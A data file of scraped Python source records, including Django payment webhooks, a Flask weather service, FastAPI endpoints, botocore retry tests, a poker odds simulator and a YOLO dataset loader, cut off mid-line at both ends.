46,\r\n \"Ag\": 47,\r\n \"Cd\": 48,\r\n \"In\": 49,\r\n \"Sn\": 50,\r\n \"Sb\": 51,\r\n \"Te\": 52,\r\n \"I\": 53,\r\n \"Xe\": 54,\r\n \"Cs\": 55,\r\n \"Ba\": 56,\r\n \"La\": 57,\r\n \"Ce\": 58,\r\n \"Pr\": 59,\r\n \"Nd\": 60,\r\n \"Pm\": 61,\r\n \"Sm\": 62,\r\n \"Eu\": 63,\r\n \"Gd\": 64,\r\n \"Tb\": 65,\r\n \"Dy\": 66,\r\n \"Ho\": 67,\r\n \"Er\": 68,\r\n \"Tm\": 69,\r\n \"Yb\": 70,\r\n \"Lu\": 71,\r\n \"Hf\": 72,\r\n \"Ta\": 73,\r\n \"W\": 74,\r\n \"Re\": 75,\r\n \"Os\": 76,\r\n \"Ir\": 77,\r\n \"Pt\": 78,\r\n \"Au\": 79,\r\n \"Hg\": 80,\r\n \"Tl\": 81,\r\n \"Pb\": 82,\r\n \"Bi\": 83,\r\n \"Po\": 84,\r\n \"At\": 85,\r\n \"Rn\": 86,\r\n \"Fr\": 87,\r\n \"Ra\": 88,\r\n \"Ac\": 89,\r\n \"Th\": 90,\r\n \"Pa\": 91,\r\n \"U\": 92,\r\n \"Np\": 93,\r\n \"Pu\": 94,\r\n \"Am\": 95,\r\n \"Cm\": 96,\r\n \"Bk\": 97,\r\n \"Cf\": 98,\r\n \"Es\": 99,\r\n \"Fm\": 100,\r\n \"Md\": 101,\r\n \"No\": 102,\r\n \"Lr\": 103,\r\n \"Rf\": 104,\r\n \"Db\": 105,\r\n \"Sg\": 106,\r\n \"Bh\": 107,\r\n \"Hs\": 108,\r\n \"Mt\": 109,\r\n \"Ds\": 110,\r\n \"Rg\": 111,\r\n \"Cn\": 112,\r\n \"Nh\": 113,\r\n \"Fl\": 114,\r\n \"Mc\": 115,\r\n \"Lv\": 116,\r\n \"Ts\": 117,\r\n \"Og\": 118,\r\n }\r\n return zdict\r\n","repo_name":"py1sl/neutron_tools","sub_path":"neut_constants.py","file_name":"neut_constants.py","file_ext":"py","file_size_in_byte":4144,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"19"} +{"seq_id":"39392750498","text":"from rest_framework import permissions\nfrom rest_framework import viewsets, mixins\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view, permission_classes\nfrom payments import serializers, models\n\n\n\nclass PaymentView(mixins.CreateModelMixin, viewsets.GenericViewSet):\n permission_classes = (permissions.IsAuthenticated, )\n serializer_class = serializers.PaymentSerializer\n\n def perform_create(self, serializer):\n serializer.save(user=self.request.user)\n\n\n\n@api_view([\"POST\"])\n@permission_classes([permissions.AllowAny])\ndef payment_success_webhook(request):\n print(f'success {request.data}')\n return Response(request.data)\n\n\n@api_view([\"POST\"])\n@permission_classes([permissions.AllowAny])\ndef payment_check_webhook(request):\n print(f'check {request.data}')\n return Response(request.data)\n\n\n@api_view([\"POST\"])\n@permission_classes([permissions.AllowAny])\ndef payment_result_webhook(request):\n data = request.data\n instance = models.Payments.objects.get(order_id=data['order'])\n if instance.status == models.Payments.Status.PENDING:\n status = data['status']['code']\n if status == 'success':\n instance.status = models.Payments.Status.SUCCESS\n else:\n instance.status = models.Payments.Status.FAIL\n instance.save()\n return Response(request.data)\n\n\n@api_view([\"POST\"])\n@permission_classes([permissions.AllowAny])\ndef payment_failure_webhook(request):\n print(f'failure {request.data}')\n return Response(request.data)\n\n\n@api_view([\"GET\"])\n@permission_classes([permissions.AllowAny])\ndef back_callback(request):\n print(f'back {request.data}')\n return Response(request.data)\n\n\n@api_view()\n@permission_classes([permissions.IsAuthenticated])\ndef get_payment(request, order_id):\n return Response(order_id)\n\n\n\n@api_view([\"POST\"])\n@permission_classes([permissions.AllowAny])\ndef post_callback(request):\n import pdb\n pdb.set_trace()","repo_name":"cssBoys/tvoe_pole_back","sub_path":"payments/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"6952006764","text":"from flask import Flask, request\r\nimport weatherStack\r\nimport openWeatherMap\r\n\r\ndef get_weather_info(city):\r\n\r\n #check return value and do failover.\r\n result = weatherStack.get_weather_info(city)\r\n if result == None or result.get('temperature_degrees') == None:\r\n result = openWeatherMap.get_weather_info(city)\r\n if result == None or result.get('temperature_degrees') == None:\r\n if openWeatherMap.last_timeStamp:\r\n result = openWeatherMap.last_result\r\n elif weatherStack.last_timeStamp:\r\n result = weatherStack.last_result\r\n return result\r\n\r\napp = Flask(__name__)\r\n\r\n#fatch details for /v1/weather url\r\n@app.route('/v1/weather')\r\ndef weatherInfo():\r\n \"\"\" Weather web service \"\"\"\r\n city = request.args.get(\"city\", None) #Get city anme for argument\r\n return get_weather_info(city)\r\n\r\n@app.route('/')\r\ndef weatherAPi():\r\n return '

Welcome to weather app

'\r\n\r\nif __name__ == '__main__':\r\n app.run(host=\"localhost\", port=8080, debug=False)\r\n","repo_name":"shivamshukla-88/weatherAPI","sub_path":"Weather_API/weatherApiCall.py","file_name":"weatherApiCall.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"12963258235","text":"import json\nfrom .models import Gallery as G\nfrom django.template.loader import render_to_string\n\nclass Gallery():\n\n\tdef build_gallery(self, template):\n\n\t\tresult = []\n\n\t\tgirls = G.objects.filter(level=0).order_by('?').values(\n\t\t\t'id',\n\t\t\t'name',\n\t\t\t'Unit__name',\n\t\t\t'image',\n\t\t\t'image_small',\n\t\t\t'parent_id',\n\t\t)\n\n\t\tphotoes = G.objects.filter(\n\t\t\tparent_id__in=[girl['id'] for girl in girls]\n\t\t).order_by('?')\n\n\t\tfor girl in girls:\n\n\t\t\tresult_line = {\n\t\t\t\t'gallery_id': girl['id'],\n\t\t\t\t'name': girl['name'],\n\t\t\t\t'unit_name': girl['Unit__name'],\n\t\t\t\t'photoes': [],\n\t\t\t}\n\n\t\t\tfor photo in photoes:\n\n\t\t\t\tif photo.parent_id == girl['id']:\n\t\t\t\t\t\n\t\t\t\t\tresult_line['photoes'].append({\n\t\t\t\t\t\t'gallery_id': photo.id,\n\t\t\t\t\t\t'html': render_to_string(template, {\n\t\t\t\t\t\t\t'parent_id': girl['id'],\n\t\t\t\t\t\t\t'gallery_id': photo.id,\n\t\t\t\t\t\t\t'girl_name': girl['name'],\n\t\t\t\t\t\t\t'unit_name': girl['Unit__name'],\n\t\t\t\t\t\t\t'image': photo.image,\n\t\t\t\t\t\t\t'image_small': photo.image_small,\t\n\t\t\t\t\t\t})\n\t\t\t\t\t})\n\n\t\t\tresult.append(result_line)\n\n\t\treturn {\n\t\t\t'json': json.dumps(result[:12]),\n\t\t\t'result': result[:12],\n\t\t}","repo_name":"Ancelada/detress","sub_path":"mainapp/gallery.py","file_name":"gallery.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"3382987488","text":"from fastapi import APIRouter, Depends\n\nfrom order.endpoints.permissions import only_manager\nfrom order.logic import DishHandler\nfrom order.models import Dish, DishBase\n\n\nrouter = APIRouter(prefix='/dish', tags=['dish'])\n\n\n@router.post(\n path='/create',\n status_code=201,\n dependencies=[Depends(only_manager)],\n)\nasync def create_dish(dish: DishBase):\n logic_handler: DishHandler = DishHandler()\n dish_id: int = await logic_handler.create_dish(dish)\n return {'dish_id': dish_id}\n\n\n@router.get(\n path='/{dish_id}',\n response_model=Dish,\n dependencies=[Depends(only_manager)],\n)\nasync def get_dish(dish_id: int):\n logic_handler: DishHandler = DishHandler()\n dish: Dish = await logic_handler.get_dish(dish_id)\n return dish\n\n\n@router.patch(\n path='/{dish_id}',\n dependencies=[Depends(only_manager)],\n)\nasync def update_dish(dish_id: int, dish: DishBase):\n logic_handler: DishHandler = DishHandler()\n await logic_handler.update_dish(dish_id=dish_id, dish=dish)\n\n\n@router.delete(\n path='/{dish_id}',\n dependencies=[Depends(only_manager)],\n)\nasync def delete_dish(dish_id: int):\n logic_handler: DishHandler = DishHandler()\n await logic_handler.delete_dish(dish_id)\n","repo_name":"k3p7i3/kpo-hw-4","sub_path":"order/endpoints/dish.py","file_name":"dish.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"70491169645","text":"from tests import BaseSessionTest, mock\n\nfrom botocore.exceptions import ClientError\nfrom botocore.config import Config\n\n\nclass TestRetry(BaseSessionTest):\n def setUp(self):\n super(TestRetry, self).setUp()\n self.region = 'us-west-2'\n self.sleep_patch = mock.patch('time.sleep')\n self.sleep_patch.start()\n\n def tearDown(self):\n self.sleep_patch.stop()\n\n def add_n_retryable_responses(self, mock_send, num_responses):\n responses = []\n for _ in range(num_responses):\n http_response = mock.Mock()\n http_response.status_code = 500\n http_response.headers = {}\n http_response.content = b'{}'\n responses.append(http_response)\n mock_send.side_effect = responses\n\n def assert_will_retry_n_times(self, method, num_retries):\n num_responses = num_retries + 1\n with mock.patch('botocore.endpoint.Session.send') as mock_send:\n self.add_n_retryable_responses(mock_send, num_responses)\n with self.assertRaisesRegexp(\n ClientError, 'reached max retries: %s' % num_retries):\n method()\n self.assertEqual(mock_send.call_count, num_responses)\n\n def test_can_override_max_attempts(self):\n client = self.session.create_client(\n 'dynamodb', self.region, config=Config(\n retries={'max_attempts': 1}))\n self.assert_will_retry_n_times(client.list_tables, 1)\n\n def test_do_not_attempt_retries(self):\n client = self.session.create_client(\n 'dynamodb', self.region, config=Config(\n retries={'max_attempts': 0}))\n self.assert_will_retry_n_times(client.list_tables, 0)\n\n def test_setting_max_attempts_does_not_set_for_other_clients(self):\n # Make one client with max attempts configured.\n self.session.create_client(\n 'codecommit', self.region, config=Config(\n retries={'max_attempts': 1}))\n\n # Make another client that has no custom retry configured.\n client = self.session.create_client('codecommit', self.region)\n # It should use the default max retries, which should be four retries\n # for this service.\n self.assert_will_retry_n_times(client.list_repositories, 4)\n\n def test_service_specific_defaults_do_not_mutate_general_defaults(self):\n # This tests for a bug where if you created a client for a service\n # with specific retry configurations and then created a client for\n # a service whose retry configurations fallback to the general\n # defaults, the second client would actually use the defaults of\n # the first client.\n\n # Make a dynamodb client. It's a special case client that is\n # configured to a make a maximum of 10 requests (9 retries).\n client = self.session.create_client('dynamodb', self.region)\n self.assert_will_retry_n_times(client.list_tables, 9)\n\n # A codecommit client is not a special case for retries. It will at\n # most make 5 requests (4 retries) for its default.\n client = self.session.create_client('codecommit', self.region)\n self.assert_will_retry_n_times(client.list_repositories, 4)\n\n def test_set_max_attempts_on_session(self):\n self.session.set_default_client_config(\n Config(retries={'max_attempts': 1}))\n # Max attempts should be inherited from the session.\n client = self.session.create_client('codecommit', self.region)\n self.assert_will_retry_n_times(client.list_repositories, 1)\n\n def test_can_clobber_max_attempts_on_session(self):\n self.session.set_default_client_config(\n Config(retries={'max_attempts': 1}))\n # Max attempts should override the session's configured max attempts.\n client = self.session.create_client(\n 'codecommit', self.region, config=Config(\n retries={'max_attempts': 0}))\n self.assert_will_retry_n_times(client.list_repositories, 0)\n","repo_name":"asyade/rusoto-seedup","sub_path":"service_crategen/botocore/tests/functional/test_retry.py","file_name":"test_retry.py","file_ext":"py","file_size_in_byte":4041,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"19068320910","text":"import multiprocessing\nfrom joblib import Parallel, delayed\nimport random\nimport timeit\nimport logging\n\nimport numpy as np\n\nfrom .exceptions import *\nfrom .utils import *\nfrom .hand import Hand\nfrom .ranker import *\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.DEBUG)\n\n\nclass Table:\n\n def __init__(self, num_players, hand_limit, deck_type='full'):\n\n self.deck_arr = self.generate_deck(deck_type)\n self.player_hands = {player_num: Hand(hand_limit) for player_num in range(1, num_players + 1)}\n self.num_players = num_players\n self.community_arr = np.zeros(shape=(0, 2), dtype=np.int)\n\n def generate_deck(self, deck_type):\n\n if deck_type == \"full\":\n num = [\"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"T\", \"J\", \"Q\", \"K\", \"A\"]\n elif deck_type == \"short\":\n num = [\"6\", \"7\", \"8\", \"9\", \"T\", \"J\", \"Q\", \"K\", \"A\"]\n else:\n raise DeckException(\"Invalid Deck Type. Valid options are: Full/Short \")\n\n suit = [\"D\", \"C\", \"S\", \"H\"]\n return card_str_to_arr([n + s for n in num for s in suit])\n\n def add_to_hand(self, player_num, cards):\n\n cards = format_cards(cards)\n for card in cards:\n self.player_hands[player_num].add_cards(card)\n self.deck_arr = remove_card(card, self.deck_arr)\n\n def add_to_community(self, cards):\n cards = format_cards(cards)\n\n for card in cards:\n self.community_arr = add_card(card, self.community_arr)\n self.deck_arr = remove_card(card, self.deck_arr)\n\n def simulation_preparation(self, num_scenarios):\n\n for player in self.player_hands:\n if len(self.player_hands[player].card_arr) < self.player_hands[player].hand_limit:\n raise HandException(f\"Please Deal a Starting Hand to Player {player}\")\n #덱의 장수, 공개되지 않은 커뮤니티 카드의 개수\n #print(\"len(self.community_arr): \", len(self.community_arr), \"5-c: \", 5 - len(self.community_arr))\n total_idx = comb_index(len(self.deck_arr), 5 - len(self.community_arr))\n undrawn_combos = self.deck_arr[total_idx]\n \n if len(undrawn_combos) > num_scenarios:\n undrawn_combos = undrawn_combos[np.array(random.sample(range(len(undrawn_combos)), num_scenarios))]\n \n if len(self.community_arr) > 0:\n community_cards = np.repeat([self.community_arr], len(undrawn_combos), axis=0)\n else:\n community_cards = None\n return community_cards, undrawn_combos\n\n def simulate(self, num_scenarios=150000, odds_type=\"tie_win\", final_hand=False):\n raise NotImplementedError\n\n def simulate_calculation(self, community_cards, undrawn_combos):\n raise NotImplementedError\n\n def gen_single_hand(self, community_cards, player, undrawn_combos, res_arr):\n raise NotImplementedError\n\n #20220915 mark\n def hand_strength_analysis(self, res_arr):\n final_hand_dict = {}\n for player in range(self.num_players):\n #unique는 중복 요소 제거\n hand_type, hand_freq = np.unique((res_arr // 16 ** 5)[:, player], return_counts=True)\n final_hand_dict[player + 1] = dict(\n zip(np.vectorize(hand_type_dict.get)(hand_type), np.round(hand_freq / hand_freq.sum() * 100, 2)))\n return final_hand_dict\n\n def simulation_analysis(self, odds_type, res_arr):\n # Result Analysis\n outcome_arr = (res_arr == np.expand_dims(np.max(res_arr, axis=1), axis=1))\n num_outcomes = len(outcome_arr)\n outcome_dict = {}\n # Any Tied Win counts as a Win\n if odds_type == \"win_any\":\n tie_indices = np.all(outcome_arr, axis=1) # multi-way tie\n outcome_dict['Tie'] = np.round(np.mean(tie_indices) * 100, 2)\n\n for player in range(self.num_players):\n outcome_dict[\"Player \" + str(player + 1)] = np.round(\n np.sum(outcome_arr[~tie_indices, player]) / num_outcomes * 100, 2)\n # Any Multi-way Tie/Tied Win counts as a Tie, Win must be exclusive\n elif odds_type == \"tie_win\":\n for player in range(self.num_players):\n tie_win_scenarios = outcome_arr[outcome_arr[:, player] == 1].sum(axis=1)\n outcome_dict[\"Player \" + str(player + 1) + \" Win\"] = np.round(\n np.sum(tie_win_scenarios == 1) / num_outcomes * 100, 2)\n outcome_dict[\"Player \" + str(player + 1) + \" Tie\"] = np.round(\n np.sum(tie_win_scenarios > 1) / num_outcomes * 100, 2)\n elif odds_type == \"precise\":\n\n for num_player in range(1, self.num_players + 1):\n for player_arr in comb_index(self.num_players, num_player):\n temp_arr = np.ones(shape=(outcome_arr.shape[0]), dtype=bool)\n for player in player_arr:\n temp_arr = (temp_arr & (outcome_arr[:, player] == 1))\n for non_player in [player for player in range(self.num_players) if player not in player_arr]:\n temp_arr = (temp_arr & (outcome_arr[:, non_player] == 0))\n\n if len(player_arr) == 1:\n outcome_key = f\"Player {player_arr[0] + 1} Win\"\n else:\n outcome_key = f\"Player {','.join([str(player + 1) for player in player_arr])} Tie\"\n\n outcome_dict[outcome_key] = np.round(temp_arr.sum() / num_outcomes * 100, 2)\n return outcome_dict\n\n def next_round(self, verbose=True, bios = 0, negative=True):\n\n hand_player_cards = True\n for player in self.player_hands:\n if len(self.player_hands[player].card_arr) == 0:\n hand_player_cards = False\n\n #20220916 고칠 부분\n #added_card = self.random_card(self.player_hands[player].hand_limit)\n added_card = self.random_card_progress(self.player_hands[player].hand_limit, bios, negative=True)\n \n #print(\"added_card: \", added_card)\n \n self.add_to_hand(player, added_card)\n #logging.info(f\"Giving Player {player} {' '.join(card_arr_to_str(added_card))}\")\n\n if hand_player_cards:\n if len(self.community_arr) == 0:\n added_card = self.random_card(3)\n else:\n added_card = self.random_card(1)\n\n if verbose:\n logging.info(f\"{'Flop' if len(self.community_arr) == 0 else 'Turn' if len(self.community_arr) == 3 else 'River'} card: {' '.join(card_arr_to_str(added_card))}\")\n self.add_to_community(added_card)\n\n def random_card(self, num_cards):\n rand_indices = np.array(random.sample(range(len(self.deck_arr)), num_cards))\n #print(\"rand_indices type: \", type(rand_indices))\n return self.deck_arr[rand_indices]\n\n #20220915 round progress, hand progress\n def random_card_progress(self, num_cards, bios = 0, negative=True):\n\n #bios 만큼 주어진 패로 더 강한 덱 만들기 -> 상대방의 패를 강할거라고 추측하기 위해서\n #커뮤니티 카드 가져오기 -> 패 만들기 -> 평가하기 -> 가장 좋은 조합으로 보내기(상대방의 패 제작)\n\n if len(self.community_arr) < 3 or bios == 0 :\n return self.random_card(num_cards)\n \n else:\n #정상, 전체 덱에서 num_cards + bios 만큼 랜덤 인덱스 뽑아오는 기능\n rand_indices = np.array(random.sample(range(len(self.deck_arr)), num_cards + bios))\n\n # num_cards + bios 중 2장을 뽑는다.\n combination_hand = combinations(rand_indices,2)\n\n # 임시 플레이어 생성을 위해 ndarray를 리스트로 만든다. // 2장의 카드 조합\n CombArray = list(combination_hand)\n\n #임시 플레이어 생성\n inst_Players_hands = {player_num: Hand(2) for player_num in range(1, len(CombArray) + 1)}\n \n #전체 플레이어의 수\n All_player_num = len(inst_Players_hands)\n \n #카드를 쥐어준다.\n for index, inst_hand in enumerate(CombArray):\n # 덱 정보를 카드 정보로 교체 CombArray -> cards / 리스트를 ndarray로 다시 바꾼다.\n cards = self.deck_arr[np.asarray(inst_hand)]\n for card in cards:\n inst_Players_hands[index + 1].add_cards(card)\n \n player_rank = np.zeros(All_player_num, dtype=np.int)\n player_hand_type = np.zeros(All_player_num, dtype=np.int)\n \n if(negative):\n for player_num in inst_Players_hands:\n # print(\"community_arr: \", self.community_arr)\n # print(\"Hands: \", inst_Players_hands[player_num].hand_evaluation(self.community_arr) \n player_combos, player_res_arr = inst_Players_hands[player_num].hand_value(self.community_arr)\n player_rank[player_num - 1] = np.max(player_res_arr)\n player_hand_type[player_num - 1] = np.max(player_res_arr)\n\n winners, =np.where(np.max(player_rank) == player_rank)\n #print(\"winner player: \", winners, \"hand: \", CombArray[int(winners)])\n\n #가장 좋은 패를 반환함\n return self.deck_arr[np.asarray(CombArray[int(winners)])]\n else:\n for player_num in inst_Players_hands:\n # print(\"community_arr: \", self.community_arr)\n # print(\"Hands: \", inst_Players_hands[player_num].hand_evaluation(self.community_arr) \n player_combos, player_res_arr = inst_Players_hands[player_num].hand_value(self.community_arr)\n player_rank[player_num - 1] = np.min(player_res_arr)\n player_hand_type[player_num - 1] = np.min(player_res_arr)\n\n loosers, =np.where(np.min(player_rank) == player_rank)\n #print(\"winner player: \", winners, \"hand: \", CombArray[int(winners)])\n\n #가장 나쁜 패를 반��함\n return self.deck_arr[np.asarray(CombArray[int(loosers)])] \n\n def view_table(self):\n res_dict = {\"Player \" + str(player): str(self.player_hands[player]) for player in self.player_hands}\n res_dict[\"Community Cards\"] = ' '.join(card_arr_to_str(self.community_arr))\n return res_dict\n\n def view_deck(self):\n return \" \".join(card_arr_to_str(self.deck_arr))\n\n def view_hand(self):\n output_dict = {}\n if len(self.community_arr) < 3:\n raise HandException(\"Please Flop to form a valid hand\")\n\n for player in range(self.num_players):\n output_dict[f\"Player {player + 1} Current Hand\"] = self.player_hands[player + 1].hand_evaluation(\n self.community_arr)\n return output_dict\n\n def view_result(self):\n player_rank = np.zeros(self.num_players, dtype=np.int)\n player_hand_type = np.zeros(self.num_players, dtype=np.int)\n\n for player in range(self.num_players):\n player_combos, player_res_arr = self.player_hands[player + 1].hand_value(self.community_arr)\n player_rank[player] = np.max(player_res_arr)\n player_hand_type[player] = np.max(player_res_arr) // 16 ** 5\n\n if (np.max(player_rank) == player_rank).sum() == 1:\n return f\"Player {np.argmax(player_rank) + 1} wins with a {hand_type_dict[player_hand_type[np.argmax(player_rank)]]}\"\n else:\n winners, = np.where(np.max(player_rank) == player_rank)\n return f\"Player {', '.join((winners + 1).astype(str))} ties with a {hand_type_dict[player_hand_type[winners[0]]]}\"\n\n\n\nclass HoldemTable(Table):\n\n def __init__(self, num_players, deck_type='full'):\n super(HoldemTable, self).__init__(num_players=num_players,\n hand_limit=2,\n deck_type=deck_type)\n\n def simulate(self, num_scenarios=150000, odds_type=\"tie_win\", final_hand=False):\n\n start = timeit.default_timer()\n community_cards, undrawn_combos = self.simulation_preparation(num_scenarios)\n #print(\"CommunityCard = \" , community_cards)\n # end = timeit.default_timer()\n # logging.info(f\"Generate Hand Combinations Time Cost: {end - start}s\")\n\n # start = timeit.default_timer()\n res_arr = self.simulate_calculation(community_cards, undrawn_combos)\n # end = timeit.default_timer()\n # logging.info(f\"Calculation Time Cost: {end - start}s\")\n outcome_dict = self.simulation_analysis(odds_type, res_arr)\n\n if final_hand:\n final_hand_dict = self.hand_strength_analysis(res_arr)\n #logging.info(f\"{min([len(undrawn_combos), num_scenarios]) * 21 * self.num_players} Simulations in {np.round(timeit.default_timer() - start, 2)}s\")\n return outcome_dict, final_hand_dict\n\n #logging.info(f\"{min([len(undrawn_combos), num_scenarios]) * 21 * self.num_players} Simulations in {np.round(timeit.default_timer() - start, 2)}s\")\n \n #초기화 해준다.\n #self.community_arr = np.zeros(shape=(0, 2), dtype=np.int)\n return outcome_dict\n\n def simulate_calculation(self, community_cards, undrawn_combos):\n res_arr = np.zeros(shape=(len(undrawn_combos), self.num_players), dtype=np.int)\n if self.num_players >= 2:\n Parallel(n_jobs=multiprocessing.cpu_count(), backend=\"threading\") \\\n (delayed(self.gen_single_hand)(community_cards, player, undrawn_combos, res_arr) for player in range(self.num_players))\n else:\n for player in range(self.num_players):\n self.gen_single_hand(community_cards, player, undrawn_combos, res_arr)\n return res_arr\n\n def gen_single_hand(self, community_cards, player, undrawn_combos, res_arr):\n if community_cards is None:\n cur_player_cards = np.concatenate(\n [np.repeat([self.player_hands[player + 1].card_arr], len(undrawn_combos), axis=0),\n undrawn_combos], axis=1)\n else:\n cur_player_cards = np.concatenate(\n [np.repeat([self.player_hands[player + 1].card_arr], len(undrawn_combos), axis=0),\n community_cards,\n undrawn_combos], axis=1)\n #print(\"\\n cur_player_cards len: \", len(cur_player_cards), \"player: \", player, \"len(res_arr): \", len(res_arr) , \"\\n comb_index(7, 5): \", comb_index(7, 5))\n res_arr[:, player] = Ranker.rank_all_hands(cur_player_cards[:, comb_index(7, 5), :])\n\n\n\n# class OmahaTable(Table):\n\n# def __init__(self, num_players, deck_type='full'):\n# super(OmahaTable, self).__init__(num_players=num_players,\n# hand_limit=4,\n# deck_type=deck_type)\n\n# def simulate(self, num_scenarios=25000, odds_type=\"tie_win\", final_hand=False):\n\n# start = timeit.default_timer()\n# community_cards, undrawn_combos = self.simulation_preparation(num_scenarios)\n# res_arr = self.simulate_calculation(community_cards, undrawn_combos)\n# outcome_dict = self.simulation_analysis(odds_type, res_arr)\n\n# if final_hand:\n# final_hand_dict = self.hand_strength_analysis(res_arr)\n# logging.info(f\"{min([len(undrawn_combos), num_scenarios]) * 60 * self.num_players} Simulations in {np.round(timeit.default_timer() - start, 2)}s\")\n# return outcome_dict, final_hand_dict\n# logging.info(f\"{min([len(undrawn_combos), num_scenarios]) * 60 * self.num_players} Simulations in {np.round(timeit.default_timer() - start, 2)}s\")\n# return outcome_dict\n\n# def simulate_calculation(self, community_cards, undrawn_combos):\n# res_arr = np.zeros(shape=(len(undrawn_combos), self.num_players), dtype=np.int)\n\n# if self.num_players >= 2:\n# Parallel(n_jobs=multiprocessing.cpu_count(), backend=\"threading\") \\\n# (delayed(self.gen_single_hand)(community_cards, player, undrawn_combos, res_arr) for player in\n# range(self.num_players))\n# else:\n# for player in range(self.num_players):\n# self.gen_single_hand(community_cards, player, undrawn_combos, res_arr)\n# return res_arr\n\n# def gen_single_hand(self, community_cards, player, undrawn_combos, res_arr):\n\n\n# if community_cards is None:\n# community_combos = undrawn_combos[:, comb_index(5, 3), :]\n# else:\n# community_combos = np.concatenate(\n# [np.repeat([self.community_arr], len(undrawn_combos), axis=0),\n# undrawn_combos], axis=1)[:, comb_index(5, 3), :]\n\n# hand_combos = np.repeat([self.player_hands[player + 1].card_arr], len(undrawn_combos), axis=0)[:,\n# comb_index(4, 2), :]\n\n# cur_player_cards = np.concatenate(\n# [np.repeat(hand_combos, repeats=10, axis=1), np.concatenate(6 * [community_combos], axis=1)], axis=2)\n\n# # cur_player_cards = np.zeros(shape=(len(undrawn_combos), 60, 5, 2), dtype=np.int)\n# # for scenario in range(len(undrawn_combos)):\n# # for i, comm in enumerate(community_combos[scenario, :, :, :]):\n# # for j, hand in enumerate(hand_combos[scenario, :, :, :]):\n# # cur_player_cards[scenario, i * 6 + j, :, :] = np.concatenate([comm, hand])\n\n# res_arr[:, player] = Ranker.rank_all_hands(cur_player_cards)\n\n\n\n### Consider Input Error and Prevent Them - Card Removal, Same Input\n ### Delete Player, Remove Card from Hand\n ### Add Randomized Flop/River/.....","repo_name":"SnowFleur/Shared-Technology","sub_path":"NounKim/PokerAI/Bot/ReinforceStrategy/PokerOddsCalculator/table.py","file_name":"table.py","file_ext":"py","file_size_in_byte":17896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"42108442519","text":"from conftest import random_split\nimport pandas as pd\nimport numpy as np\n\n\ndef test_random_split(data):\n dataframes = list(random_split(data))\n assert len(dataframes) > 1\n concatenated = pd.concat(dataframes)\n assert len(concatenated) == len(data), \"We did not lose anything\"\n assert np.allclose(\n concatenated.values, data.values), \"We did not corrupt the data\"\n","repo_name":"yandex/yandex-tank","sub_path":"yandextank/aggregator/tests/test_test.py","file_name":"test_test.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":2344,"dataset":"github-code","pt":"19"} +{"seq_id":"39462284216","text":"import glob\nimport logging\nimport math\nimport os\nimport random\nimport shutil\nimport time\nfrom itertools import repeat\nfrom multiprocessing.pool import ThreadPool\nfrom pathlib import Path\nfrom threading import Thread\n\nimport cv2\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nfrom PIL import Image, ExifTags\nfrom torch.utils.data import Dataset\nfrom tqdm import tqdm\n\nfrom detect.utils.general import check_requirements, xyxy2xywh, xywh2xyxy, xywhn2xyxy, xyn2xy, segment2box, segments2boxes, \\\n resample_segments, clean_str\nfrom detect.utils.torch_utils import torch_distributed_zero_first\nfrom detect.datasets.yolo_datasets import *\n\ndef create_dataloader_list(path, imgsz, batch_size, stride, opt, hyp=None, augment=False, cache=False, pad=0.0, rect=False,\n rank=-1, world_size=1, workers=8, image_weights=False, quad=False, prefix=''):\n # Make sure only the first process in DDP process the dataset first, and the following others can use the cache\n with torch_distributed_zero_first(rank):\n dataset = LoadImagesAndLabels_list(path, imgsz, batch_size,\n augment=augment, # augment images\n hyp=hyp, # augmentation hyperparameters\n rect=rect, # rectangular training\n cache_images=cache,\n single_cls=False,\n stride=int(stride),\n pad=pad,\n image_weights=image_weights,\n prefix=prefix)\n\n batch_size = min(batch_size, len(dataset))\n nw = min([os.cpu_count() // world_size, batch_size if batch_size > 1 else 0, workers]) # number of workers\n sampler = torch.utils.data.distributed.DistributedSampler(dataset) if rank != -1 else None\n loader = torch.utils.data.DataLoader if image_weights else InfiniteDataLoader\n # Use torch.utils.data.DataLoader() if dataset.properties will update during training else InfiniteDataLoader()\n dataloader = loader(dataset,\n batch_size=batch_size,\n num_workers=nw,\n sampler=sampler,\n pin_memory=True,\n collate_fn=LoadImagesAndLabels.collate_fn4 if quad else LoadImagesAndLabels.collate_fn)\n return dataloader, dataset\n\nclass LoadImagesAndLabels_list(Dataset): # for training/testing\n def __init__(self, path, img_size=640, batch_size=16, augment=False, hyp=None, rect=False, image_weights=False,\n cache_images=False, single_cls=False, stride=32, pad=0.0, prefix=''):\n self.img_size = img_size\n self.augment = augment\n self.hyp = hyp\n self.image_weights = image_weights\n self.rect = False if image_weights else rect\n self.mosaic = self.augment and not self.rect # load 4 images at a time into a mosaic (only during training)\n self.mosaic_border = [-img_size[0] // 2, -img_size[1] // 2]\n self.stride = stride\n self.path = path\n\n self.img_files = [] \n self.label_files = []\n try:\n for p in path if isinstance(path, list) else [path]:\n p = Path(p) # os-agnostic\n if p.is_file(): # file\n with open(p, 'r') as t:\n lines = t.readlines()\n for line in lines:\n img_file, label_file = line.strip().split(';')\n self.img_files.append(img_file)\n self.label_files.append(label_file)\n else:\n raise Exception(f'{prefix}{p} does not exist')\n assert self.img_files, f'{prefix}No images found'\n except Exception as e:\n raise Exception(f'{prefix}Error loading data from {path}: {e}\\nSee {help_url}')\n\n # Check cache\n cache_path = (p if p.is_file() else Path(self.label_files[0]).parent).with_suffix('.cache') # cached labels\n if cache_path.is_file():\n cache, exists = torch.load(cache_path), True # load\n if cache['hash'] != get_hash(self.label_files + self.img_files) or 'version' not in cache: # 